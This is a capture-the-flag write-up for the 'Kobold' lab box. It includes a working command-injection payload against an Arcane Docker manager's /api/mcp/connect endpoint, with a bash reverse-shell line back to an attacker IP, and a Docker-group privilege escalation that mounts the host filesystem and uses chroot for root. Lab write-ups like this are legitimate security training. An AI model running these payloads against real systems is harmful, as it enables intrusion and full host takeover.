Overview
Kobold is an easy Linux box that starts straightforwardly enough, a command injection CVE in a Docker management platform gets us a shell, but the root path genuinely catches you off guard for an easy box. There’s no kernel exploit, no SUID binary, no obvious sudoers entry. Instead it’s a Docker group privilege escalation that chains newgrp, a container with a mounted host filesystem, and chroot to land a root shell. Subtle, elegant, and the kind of thing that makes you feel silly once you see it.
Reconnaissance
nmap -sS -sV -sC -O -p- -Pn 10.129.245.50
22/tcp open ssh OpenSSH 9.6p1 Ubuntu
80/tcp open http nginx 1.24.0 (redirects to https://kobold.htb/)
443/tcp open ssl/http nginx 1.24.0
3552/tcp open ? HTTP service (returns 200 on GET)
Port 3552 is the immediately interesting one. The nmap fingerprint shows a full HTTP response on a GET request, so something is actively serving content there. Add the domain and browse to it:
sudo nano /etc/hosts
# Add: 10.129.245.50 kobold.htb
Navigating to http://kobold.htb:3552 lands us on a login page for Arcane, a Docker management platform. The version is right there on the page: v1.13.0.
The main website on port 80/443 doesn’t have much going on, but while we’re here let’s run a virtual host scan to see if anything else is lurking:
gobuster vhost -u "https://kobold.htb" \
-w "/usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt" \
--append-domain --no-tls-validation
Two subdomains come back: mcp.kobold.htb and bin.kobold.htb. Add both to /etc/hosts and keep them in mind.
Initial Access: CVE-2026-23520
Arcane v1.13.0 is vulnerable to CVE-2026-23520, a command injection in the MCP (Model Context Protocol) connector service. The /api/mcp/connect endpoint accepts a JSON payload that specifies a command and arguments for spawning a server process. Those fields are passed directly to a shell without sanitisation, making it trivially injectable.
The attack is a single curl request. Set up a listener first:
nc -lvnp 4444
Then fire the payload at the MCP subdomain:
curl -k -X POST https://mcp.kobold.htb/api/mcp/connect \
-H "Content-Type: application/json" \
-d '{"serverId": "shell1", "serverConfig": {"command": "bash", "args": ["-c", "bash -i >& /dev/tcp/10.10.14.45/4444 0>&1"], "env": {}}}'
Shell lands as ben. Grab the user flag at /home/ben/user.txt.
Stabilise the shell before continuing:
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
# Enter
export TERM=xterm
Post-Exploitation Enumeration
A couple of things stand out straight away.
ps aux confirms Docker is running, but trying any docker command as ben returns a permissions error, at least for now.
netstat -tulpn reveals a service on localhost port 8080:
curl http://127.0.0.1:8080
The response confirms this is a PrivateBin instance running internally. Worth noting for context.
Checking ben’s group memberships:
id
# uid=1001(ben) gid=1001(ben) groups=1001(ben),37(operator)
Ben is in the operator group. Running newgrp docker re-launches the shell with docker as the active GID. The operator group membership is what allows ben to switch into the docker group on demand, even without being a permanent listed member of it. Nothing in the initial id output screams “docker access”, which is exactly what makes this box feel sneaky for an easy rating.
Privilege Escalation: Docker Container Escape
Why Docker Socket Access Equals Root
Once docker is the active group, ben can read and write to /var/run/docker.sock. Access to the Docker socket is effectively root access on the host, Docker runs as root, and anyone who can talk to that socket can spin up containers with arbitrary flags, including mounting the entire host filesystem.
Step 1: Activate the Docker Group
newgrp docker
id
# uid=1001(ben) gid=111(docker) groups=111(docker),37(operator),1001(ben)
Docker commands now work:
docker ps
CONTAINER ID IMAGE STATUS NAMES
4c49dd7bb727 privatebin/nginx-fpm-alpine:2.0.2 Up 41 minutes bin
The PrivateBin container is running, and the image privatebin/nginx-fpm-alpine:2.0.2 is already pulled locally on the machine.
Step 2: Spin Up a Container with the Host Filesystem Mounted
docker run --rm -it -u 0 --entrypoint sh -v /:/mnt privatebin/nginx-fpm-alpine:2.0.2
Breaking down what each flag does:
--rm, clean up the container automatically on exit-it, interactive TTY so we get a usable shell-u 0, run as UID 0 (root) inside the container--entrypoint sh, override the default entrypoint and drop straight into a shell-v /:/mnt, mount the entire host filesystem to/mntinside the container
We’re now root inside the container, with the host’s full filesystem sitting at /mnt.
Step 3: Chroot into the Host
chroot changes the apparent root directory for the current process to a specified path. By pointing it at /mnt, we make the process believe the host filesystem is /. Combined with running as root, this gives us a fully functional root shell on the actual host rather than just the container:
chroot /mnt sh
id
# uid=0(root) gid=0(root) groups=0(root)
Root flag is at /root/root.txt.
Attack Chain Summary
| Step | Detail |
|---|---|
| Recon | nmap → Arcane Docker Management on port 3552, vhost scan → mcp.kobold.htb |
| Initial access | CVE-2026-23520 command injection via /api/mcp/connect → shell as ben |
| User flag | /home/ben/user.txt |
| Enumeration | id shows operator group, newgrp docker activates docker socket access |
| Container escape | docker run with -u 0 -v /:/mnt mounts host filesystem as root |
| Chroot | chroot /mnt sh pivots container root shell into host root shell |
| Root flag | /root/root.txt |